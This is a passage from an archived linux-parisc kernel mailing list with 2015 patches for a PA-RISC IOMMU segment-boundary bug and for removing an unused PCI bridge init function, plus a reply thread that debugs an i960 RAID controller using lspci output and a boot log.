sg_dma_len(contig_sg) = dma_len;
dma_len = ALIGN(dma_len + dma_offset, IOVP_SIZE);
sg_dma_address(contig_sg) =
	PIDE_FLAG
	| (iommu_alloc_range(ioc, dev, dma_len) << IOVP_SHIFT)
	| dma_offset;

It is possible that (startsg->length + dma_len > max_seg_size) is false
(we are just near the 0x10000 max_seg_size boundary), so the funcion
decides to coalesce this entry with the next entry. When the coalescing
succeeds, the function performs
	dma_len = ALIGN(dma_len + dma_offset, IOVP_SIZE);
And now, because of non-zero dma_offset, dma_len is greater than 0x10000.
iommu_alloc_range (a pointer to sba_alloc_range) is called and it attempts
to allocate 17 pages for a device that must not cross 16-page boundary.

To fix the bug, we must make sure that dma_len after addition of
dma_offset and alignment doesn't cross the segment boundary. I.e. change
	if (startsg->length + dma_len > max_seg_size)
		break;
to
	if (ALIGN(dma_len + dma_offset + startsg->length, IOVP_SIZE) > max_seg_size)
		break;

This patch makes this change (it precalculates max_seg_boundary at the
beginning of the function iommu_coalesce_chunks). I also added a check
that the mapping length doesn't exceed dma_get_seg_boundary(dev) (it is
not needed for Promise TX2+ SATA, but it may be needed for other devices
that have dma_get_seg_boundary lower than dma_get_max_seg_size).

Signed-off-by: Mikulas Patocka <mpatocka@redhat.com>
Cc: stable@vger.kernel.org

---
 drivers/parisc/iommu-helpers.h |   15 ++++++++-------
 1 file changed, 8 insertions(+), 7 deletions(-)

Index: linux-4.4-rc3/drivers/parisc/iommu-helpers.h
===================================================================
--- linux-4.4-rc3.orig/drivers/parisc/iommu-helpers.h	2015-11-30 17:52:10.000000000 +0100
+++ linux-4.4-rc3/drivers/parisc/iommu-helpers.h	2015-11-30 20:19:53.000000000 +0100
@@ -104,7 +104,11 @@ iommu_coalesce_chunks(struct ioc *ioc, s
 	struct scatterlist *contig_sg;	   /* contig chunk head */
 	unsigned long dma_offset, dma_len; /* start/len of DMA stream */
 	unsigned int n_mappings = 0;
-	unsigned int max_seg_size = dma_get_max_seg_size(dev);
+	unsigned int max_seg_size = min(dma_get_max_seg_size(dev),
+					(unsigned)DMA_CHUNK_SIZE);
+	unsigned int max_seg_boundary = dma_get_seg_boundary(dev) + 1;
+	if (max_seg_boundary)	/* check if the addition above didn't overflow */
+		max_seg_size = min(max_seg_size, max_seg_boundary);
 
 	while (nents > 0) {
 
@@ -138,14 +142,11 @@ iommu_coalesce_chunks(struct ioc *ioc, s
 
 			/*
 			** First make sure current dma stream won't
-			** exceed DMA_CHUNK_SIZE if we coalesce the
+			** exceed max_seg_size if we coalesce the
 			** next entry.
 			*/   
-			if(unlikely(ALIGN(dma_len + dma_offset + startsg->length,
-					    IOVP_SIZE) > DMA_CHUNK_SIZE))
-				break;

From - Thu Nov 08 21:38:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bhelgaas@google.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: Remove unused pcibios_init_bus()
Date: Tue, 01 Dec 2015 10:41:47 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <20151201164147.18471.52359.stgit@bhelgaas-glaptop2.roam.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1448988133 24291 80.91.229.3 (1 Dec 2015 16:42:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Dec 2015 16:42:13 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 01 17:42:04 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a3o03-0003fX-DH
	for glpp-linux-parisc@plane.gmane.org; Tue, 01 Dec 2015 17:41:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755287AbbLAQly (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Dec 2015 11:41:54 -0500
Original-Received: from mail.kernel.org ([198.145.29.136]:53034 "EHLO mail.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755174AbbLAQly (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Dec 2015 11:41:54 -0500
Original-Received: from mail.kernel.org (localhost [127.0.0.1])
	by mail.kernel.org (Postfix) with ESMTP id 3AE5120546;
	Tue,  1 Dec 2015 16:41:53 +0000 (UTC)
Original-Received: from localhost (unknown [69.71.1.1])
	(using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits))
	(No client certificate requested)
	by mail.kernel.org (Postfix) with ESMTPSA id 7A39020520;
	Tue,  1 Dec 2015 16:41:52 +0000 (UTC)
User-Agent: StGit/0.16
X-Spam-Status: No, score=-1.0 required=5.0 tests=BAYES_00,DKIM_ADSP_CUSTOM_MED,
	NML_ADSP_CUSTOM_MED,UNPARSEABLE_RELAY autolearn=no version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on mail.kernel.org
X-Virus-Scanned: ClamAV using ClamSMTP
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26172 gmane.linux.kernel:2097394
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26172>

There are no callers of pcibios_init_bus(), so remove it.

Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
---
 arch/parisc/kernel/pci.c |   18 ------------------
 1 file changed, 18 deletions(-)

diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
index 64f2764..c99f3dd 100644
--- a/arch/parisc/kernel/pci.c
+++ b/arch/parisc/kernel/pci.c
@@ -171,24 +171,6 @@ void pcibios_set_master(struct pci_dev *dev)
 }
 
 
-void __init pcibios_init_bus(struct pci_bus *bus)
-{
-	struct pci_dev *dev = bus->self;
-	unsigned short bridge_ctl;
-
-	/* We deal only with pci controllers and pci-pci bridges. */
-	if (!dev || (dev->class >> 8) != PCI_CLASS_BRIDGE_PCI)
-		return;
-
-	/* PCI-PCI bridge - set the cache line and default latency
-	   (32) for primary and secondary buses. */
-	pci_write_config_byte(dev, PCI_SEC_LATENCY_TIMER, 32);
-
-	pci_read_config_word(dev, PCI_BRIDGE_CONTROL, &bridge_ctl);
-	bridge_ctl |= PCI_BRIDGE_CTL_PARITY | PCI_BRIDGE_CTL_SERR;
-	pci_write_config_word(dev, PCI_BRIDGE_CONTROL, bridge_ctl);
-}

From - Thu Nov 08 21:38:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: Remove unused pcibios_init_bus()
Date: Tue, 1 Dec 2015 21:44:54 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <565E06C6.3080707@gmx.de>
References: <20151201164147.18471.52359.stgit@bhelgaas-glaptop2.roam.corp.google.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1449002713 6624 80.91.229.3 (1 Dec 2015 20:45:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Dec 2015 20:45:13 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	Grant Grundler <grundler@parisc-linux.org>
To: Bjorn Helgaas <bhelgaas@google.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 01 21:45:04 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a3rnJ-0002Qa-7g
	for glpp-linux-parisc@plane.gmane.org; Tue, 01 Dec 2015 21:45:01 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755826AbbLAUo7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Dec 2015 15:44:59 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:51647 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755728AbbLAUo6 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Dec 2015 15:44:58 -0500
Original-Received: from [192.168.20.60] ([92.203.25.49]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0M1jKo-1aIvZK2NIY-00tmTv; Tue, 01 Dec 2015 21:44:56
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <20151201164147.18471.52359.stgit@bhelgaas-glaptop2.roam.corp.google.com>
X-Provags-ID: V03:K0:okTbwbTj8pBdIezadi6LrGsnMuUPnq5APOaGriD20T2gYOgcOqR
 Bxqzf/8ndF+403e4RTQuff74owSUBT4F9yk/x+AO1+rYh0/0oQ0nte0J0q0ZLAq08FnJX6A
 5ry82sg0xHof0Ug2OVV6FybVcTi3Fagwzzj85RbkCkymDemMMRCYiF3o9KcxvpT8nAlIHkk
 Hd11RZAvI6QIfqDp8pA8Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:+KF79DebKEg=:u0e8qWXJX1xRWSs6lvQ7OV
 Hw19pd/1IP9PrLIuJJdnYEmhv0Df4DNhWI1hHaSoaurRnt78quh3Fz5GjBG/PMUA7DZSbK4zT
 8pg7lwFZvCOiY02MBEWX+v2Iyre923wlb2iEs9YdIum12shd3YmYUeLovQN77CKYQAF+UvyhP
 1TbFfiTuRsUFzyKIDqrG30HcNcQAMbx6Z1h4YjOkOZODJXTNPKpv0e7n7rQuvUndIu9kLy+cI
 aH/cnt7zMFmLZvmapPr+d52/Xj+CUu2lvDyIFWiSaQ2GmvtpLW+NsEgbY78e10bmPdLxZcQHK
 4ZOwutIoEM5iwcDlnFNmJVp4EooeQCGuCSIJ1XqLnWtg0vA35+GXbQCstu6AvymhrZw3AEFCd
 aC18xcHJ635RcKwu/dbtlVPR6t4nbPenYXjvx60I3f66/obfd7TpabmA9+TTfGCPuRLlmezm0
 Pis26DGtmXh76r2Ci3dxgo7pcOXpAZK0dE93Ovva/5xH3sZCcIx8O2I+nByPn6ARPIjEa13DG
 z9cPahzo29+r6+3VEebTo+zEO2ArcmjS5kAmHwi8R//h8EosymvWtOEywHCBWGHg0EWY5PySV
 C8pCbeaC+vGI0Csr84jy2a0QjuTdOgGTfME8MH5tAE3CPa8+hZq1G/X9R+3YzMyhrmuS1+mI7
 lrVyEW88sAR7cwQF/Sdz+KdsQEI6X5Z7mWOmvSv6AAJDWdfkGU8l2k8b5/l+iSV/C5yGdfkJM
 DzwcB6qpxD5MauHm7Xeeb1vXGKoo6fCxsWuEUXBFw4Ky2sn2K+kY0GxVJIliEZTVCBOoe7vF 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26173 gmane.linux.kernel:2097581
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26173>

On 01.12.2015 17:41, Bjorn Helgaas wrote:
> There are no callers of pcibios_init_bus(), so remove it.

True, pcibios_init_bus() isn't called anywhere, so it should be removed.

But I wonder if we might need to initialize latency and parity for PCI-PCI
bridges somewhere else then?
In one of my machines I have a i960 based RAID controller which isn't working
yet (I think it's internally based on a PCI-PCI bridge), and maybe this
is the reason it doesn't work? I will need to test it (e.g. firmware doesn't
fully initializes PCI-PCI bridges, which is why this code was added once).

Helge
 
> Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>
> ---
>  arch/parisc/kernel/pci.c |   18 ------------------
>  1 file changed, 18 deletions(-)
> 
> diff --git a/arch/parisc/kernel/pci.c b/arch/parisc/kernel/pci.c
> index 64f2764..c99f3dd 100644
> --- a/arch/parisc/kernel/pci.c
> +++ b/arch/parisc/kernel/pci.c
> @@ -171,24 +171,6 @@ void pcibios_set_master(struct pci_dev *dev)
>  }
>  
>  
> -void __init pcibios_init_bus(struct pci_bus *bus)
> -{
> -	struct pci_dev *dev = bus->self;
> -	unsigned short bridge_ctl;
> -
> -	/* We deal only with pci controllers and pci-pci bridges. */
> -	if (!dev || (dev->class >> 8) != PCI_CLASS_BRIDGE_PCI)
> -		return;
> -
> -	/* PCI-PCI bridge - set the cache line and default latency
> -	   (32) for primary and secondary buses. */
> -	pci_write_config_byte(dev, PCI_SEC_LATENCY_TIMER, 32);
> -
> -	pci_read_config_word(dev, PCI_BRIDGE_CONTROL, &bridge_ctl);
> -	bridge_ctl |= PCI_BRIDGE_CTL_PARITY | PCI_BRIDGE_CTL_SERR;
> -	pci_write_config_word(dev, PCI_BRIDGE_CONTROL, bridge_ctl);
> -}
> -
>  /*
>   * pcibios align resources() is called every time generic PCI code
>   * wants to generate a new address. The process of looking for
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: Remove unused pcibios_init_bus()
Date: Tue, 1 Dec 2015 14:02:11 -0800
Lines: 31
Approved: news@gmane.org
Message-ID: <CAP6odjgr8va4nM2+Rr9gchkg28TctB-yd_n3reitwcUo=nmbCQ@mail.gmail.com>
References: <20151201164147.18471.52359.stgit@bhelgaas-glaptop2.roam.corp.google.com>
	<565E06C6.3080707@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1449007338 16075 80.91.229.3 (1 Dec 2015 22:02:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 1 Dec 2015 22:02:18 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	open list <linux-kernel@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Grant Grundler <grundler@parisc-linux.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Dec 01 23:02:15 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a3t02-0002Vh-AF
	for glpp-linux-parisc@plane.gmane.org; Tue, 01 Dec 2015 23:02:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755676AbbLAWCN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 1 Dec 2015 17:02:13 -0500
Original-Received: from mail-wm0-f50.google.com ([74.125.82.50]:34530 "EHLO
	mail-wm0-f50.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753506AbbLAWCN (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 1 Dec 2015 17:02:13 -0500
Original-Received: by wmvv187 with SMTP id v187so228157005wmv.1;
        Tue, 01 Dec 2015 14:02:12 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=GsKssWRGrsXU3UATCJ4tBZUeCKgDzbuSCysibD9Paio=;
        b=eCfaPhRConLLgyR0wEG9nvHNs3JjRtrOxuZERjfQEG6pzczDUgyT5ZWjN/PWtFzs/o
         NoE4EECoBmYQYlIAhbFZg7st6EytBVPr9dhM+wX8yI8JoT/HrV29Cf3sEgE9Pu8CdyKm
         3DMDF6CYDJSklvqoibU/wh8jjSoaOGA7DPvhOUx63vKxs94lRGp3P0rG5nDDmATXnYHU
         UV1rzZGsJGTGi6mSdIKQDyCQdC8YfjhINDFWKcEhTMsyXuL5rU9istchqb2toz8IYN2B
         7VVfXavwTlCdNveZFSnYEu0xgHvrsMLR5O/NRO4FeUjC4aakRIVlqyoruT7hwI7rHpYK
         +WJg==
X-Received: by 10.194.112.131 with SMTP id iq3mr82991152wjb.35.1449007331951;
 Tue, 01 Dec 2015 14:02:11 -0800 (PST)
Original-Received: by 10.28.218.77 with HTTP; Tue, 1 Dec 2015 14:02:11 -0800 (PST)
In-Reply-To: <565E06C6.3080707@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26174 gmane.linux.kernel:2097620
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26174>

On Tue, Dec 1, 2015 at 12:44 PM, Helge Deller <deller@gmx.de> wrote:
> On 01.12.2015 17:41, Bjorn Helgaas wrote:
>> There are no callers of pcibios_init_bus(), so remove it.
>
> True, pcibios_init_bus() isn't called anywhere, so it should be removed.
>
> But I wonder if we might need to initialize latency and parity for PCI-PCI
> bridges somewhere else then?

pcibios_fixup_bus() appears to do that...but I don't know the call chain.
I used cscope to look for PCI_BRIDGE_CTL_PARITY.

> In one of my machines I have a i960 based RAID controller which isn't working
> yet (I think it's internally based on a PCI-PCI bridge), and maybe this
> is the reason it doesn't work? I will need to test it (e.g. firmware doesn't
> fully initializes PCI-PCI bridges, which is why this code was added once).

If lspci doesn't show the PCI-PCI bridge, the i960 RAID card is using
that internally.
parisc (and any other architecture) should discover and configure all
PCI-PCI bridges already.

I know it did for the "multifunction" cards I had available 10 years ago.

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] parisc: Remove unused pcibios_init_bus()
Date: Thu, 3 Dec 2015 17:05:20 +0100
Lines: 89
Approved: news@gmane.org
Message-ID: <56606840.6090004@gmx.de>
References: <20151201164147.18471.52359.stgit@bhelgaas-glaptop2.roam.corp.google.com>
 <565E06C6.3080707@gmx.de>
 <CAP6odjgr8va4nM2+Rr9gchkg28TctB-yd_n3reitwcUo=nmbCQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1449171958 19552 80.91.229.3 (3 Dec 2015 19:45:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 3 Dec 2015 19:45:58 +0000 (UTC)
Cc: Bjorn Helgaas <bhelgaas@google.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	open list <linux-kernel@vger.kernel.org>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	Grant Grundler <grundler@parisc-linux.org>
To: Grant Grundler <grantgrundler@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 03 20:45:48 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1a4Zp4-0006WX-Hp
	for glpp-linux-parisc@plane.gmane.org; Thu, 03 Dec 2015 20:45:46 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753284AbbLCTpp (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 3 Dec 2015 14:45:45 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:58639 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753022AbbLCTpo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 3 Dec 2015 14:45:44 -0500
Original-Received: from [192.168.20.60] ([92.203.14.195]) by mail.gmx.com (mrgmx103)
 with ESMTPSA (Nemesis) id 0M2L60-1aND6N3UYe-00sAZA; Thu, 03 Dec 2015 20:45:40
 +0100
X-Enigmail-Draft-Status: N1110
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <CAP6odjgr8va4nM2+Rr9gchkg28TctB-yd_n3reitwcUo=nmbCQ@mail.gmail.com>
X-Provags-ID: V03:K0:2XTL3KBkv/diBB/LQs/XjfLFvtMuqteeJHOvJaA0X9bSUa2MMpz
 0Yr9yUqo3XkxBb1TLmtrai5JhAjRokqLWKSGiNvNdzGjhthDufnH3TkiUd+7zUrMZsgchDe
 oHQXjM/o50j0CSEuoECV0prRqSN69ANtq5KOmilMSdRBG/NwGPOFHtZBMiRk5vlLj2hdfmH
 xz4dbLB82ylCcTxByipzQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:vHokLv0eGuM=:cBbxDEt6/+Bk6pMauca9CI
 2IMox4dM2I5pA47kAagu5Hfs9YtTflGFNq9z83D3m/3KCU92TslfdlDwKr7WLZQLqCo98TWRM
 lFJIE1BFh5sbNTIa7z389BGUMbhhyA+Xz8zIsRUn5/iS02sfiffwE+LRl7qZdmLKRMerY8dru
 fggaFuo62/xthR96/3pT4vZ5ZlIsJP3rgnmCOM6vPypJJNiHaVGrCYkHdpyHrDrYEM+h7zGRZ
 ZfJUpLpFi7aVrLoKdO1w2kJ9hHzkH7bdGfqE6/h8rxwP7/LdXmtI1hzJdBvefPEL/+z/wmvdH
 s5KIQIsNwa26fWai3b+eoPrGzOVJnjK/Oaisu8AJRs5/en8znO4fhlBZLEzU3LvRhaumRh9ar
 VYXCEV1NfnP13XCsiO7gvrQBUHVJ6Y9dzqj8GXrP5ixNunQjAY/VP7/xTE5q+KpftQF9tDylT
 1fqV0DdhHtWFpgOYNhP7kqKgXU0Sv3FBAmT2dpdqrjss8x8+CXEutfh4xg2reNZREkS8egl4x
 7BnxG9dk1T4xdCIMYiDBK8h4sxfzgKV0QQlHzviIniw7pNrREMxnYEw9dm2saxO/PxMSFtId8
 3QXDon+vK6F0ge2wfWRGhPOiIah0qIR45a/9W6WdMh8E9H8+4ff+FeT48jQsxnSC94pMFsFmu
 ALsInDk2Ft74A4UKF/wFRWuzMMI4VhTSkmTidXDx9uQgAMhtDZ6Zwdb1NN2XMwAsoYNg5WyN8
 fnlZ7EphTchMvAq/7PUVEwfnrTWnQcjcq4pSzXCZrjGu+kTNT8ivoP9JksnNFvjhoC20+Iz8 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26175 gmane.linux.kernel:2099744
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26175>

On 01.12.2015 23:02, Grant Grundler wrote:
> On Tue, Dec 1, 2015 at 12:44 PM, Helge Deller <deller@gmx.de> wrote:
>> On 01.12.2015 17:41, Bjorn Helgaas wrote:
>>> There are no callers of pcibios_init_bus(), so remove it.
>>
>> True, pcibios_init_bus() isn't called anywhere, so it should be removed.
>>
>> But I wonder if we might need to initialize latency and parity for PCI-PCI
>> bridges somewhere else then?
> 
> pcibios_fixup_bus() appears to do that...but I don't know the call chain.
> I used cscope to look for PCI_BRIDGE_CTL_PARITY.
> 
>> In one of my machines I have a i960 based RAID controller which isn't working
>> yet (I think it's internally based on a PCI-PCI bridge), and maybe this
>> is the reason it doesn't work? I will need to test it (e.g. firmware doesn't
>> fully initializes PCI-PCI bridges, which is why this code was added once).

machine model : 9000/800/L3000-8x
model name    : Marcato W+ (rp5470)

> If lspci doesn't show the PCI-PCI bridge, the i960 RAID card is using
> that internally.

lspci does see the PCI-PCI bridge:

50:00.0 PCI bridge: Intel Corporation 80960RP (i960RP) Microprocessor/Bridge (rev 02) (prog-if 00 [Normal decode])
        Flags: medium devsel
        Bus: primary=50, secondary=51, subordinate=51, sec-latency=0
        I/O behind bridge: 00000000-00000fff
        Memory behind bridge: 94400000-944fffff
        Prefetchable memory behind bridge: 94500000-945fffff
        Capabilities: [68] Power Management version 2

50:00.1 I2O: Intel Corporation 80960RP (i960RP) Microprocessor (rev 02) (prog-if 01)
        Subsystem: Hewlett-Packard Company Device 1228
        Flags: medium devsel, IRQ 71
        Memory at ffffffff94000000 (32-bit, prefetchable) [disabled] [size=4M]
        [virtual] Expansion ROM at ffffffff94600000 [disabled] [size=32K]
        Capabilities: [80] Power Management version 2


sec-latency is listed in the lspci output above as "sec-latency=0", so do we maybe need to add this part somewhere ?
-	/* PCI-PCI bridge - set the cache line and default latency
-	   (32) for primary and secondary buses. */
-	pci_write_config_byte(dev, PCI_SEC_LATENCY_TIMER, 32);

> parisc (and any other architecture) should discover and configure all
> PCI-PCI bridges already.
> I know it did for the "multifunction" cards I had available 10 years ago.

Boot log shows:
[    9.408000] Elroy version TR4.0 (0x5) found at 0xffffffff9fff4000
[    9.564000] LBA: Not a C8000 system - not extending LMMIO range.
[    9.568000] LBA: Not registering GMMIO space [mem 0xfffffff504000000-0xfffffff57fffffff]
[    9.684000] LBA 0:10: PCI host bridge to bus 0000:50
[    9.820000] pci_bus 0000:50: root bus resource [io  0x80000-0x8ffff] (bus address [0x0000-0xffff])
[    9.956000] pci_bus 0000:50: root bus resource [mem 0xffffffff94000000-0xffffffff95ffffff] (bus address [0x94000000-0x95ffffff])
[   10.092000] pci_bus 0000:50: root bus resource [bus 50-57]
[   10.096000] pci 0000:50:00.0: [8086:0964] type 01 class 0x060400
[   10.096000] pci 0000:50:00.1: [8086:1960] type 00 class 0x0e0001
[   10.096000] pci 0000:50:00.1: reg 0x10: [mem 0x00000000-0x003fffff pref]
[   10.096000] pci 0000:50:00.1: reg 0x30: [mem 0x00000000-0x00007fff pref]
[   10.096000] pci_bus 0000:51: busn_res: can not insert [bus 51-ff] under [bus 50-57] (conflicts with (null) [bus 50-57])
[   10.096000] pci 0000:50:00.0: PCI bridge to [bus 51-ff]
[   10.232000] pci 0000:50:00.0:   bridge window [io  0x80000-0x80fff]
[   10.232000] pci 0000:50:00.0:   bridge window [mem 0x00000000-0x000fffff]
[   10.232000] pci 0000:50:00.0:   bridge window [mem 0x00000000-0x000fffff pref]
[   10.232000] pci 0000:50:00.0: can't claim BAR 14 [mem 0x00000000-0x000fffff]: no compatible bridge window
[   10.372000] pci 0000:50:00.0: can't claim BAR 15 [mem 0x00000000-0x000fffff pref]: no compatible bridge window
[   10.508000] pci 0000:50:00.0: can't claim BAR 16 [??? 0x00000000 flags 0x0]: no compatible bridge window
[   10.648000] pci_bus 0000:51: busn_res: [bus 51-ff] end is updated to 51
[   10.648000] pci 0000:50:00.0: BAR 16: [??? 0x00000000 flags 0x20000000] has bogus alignment
[   10.784000] pci 0000:50:00.1: BAR 0: assigned [mem 0xffffffff94000000-0xffffffff943fffff pref]
[   10.920000] pci 0000:50:00.0: BAR 14: assigned [mem 0xffffffff94400000-0xffffffff944fffff]
[   11.060000] pci 0000:50:00.0: BAR 15: assigned [mem 0xffffffff94500000-0xffffffff945fffff pref]
[   11.060000] pci 0000:50:00.1: BAR 6: assigned [mem 0xffffffff94600000-0xffffffff94607fff pref]
[   11.200000] pci 0000:50:00.0: PCI bridge to [bus 51]
[   11.336000] pci 0000:50:00.0:   bridge window [io  0x80000-0x80fff]
[   11.336000] pci 0000:50:00.0:   bridge window [mem 0xffffffff94400000-0xffffffff944fffff]
[   11.472000] pci 0000:50:00.0:   bridge window [mem 0xffffffff94500000-0xffffffff945fffff pref]

Helge

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH 3/3] parisc: protect huge pte changes with spinlocks
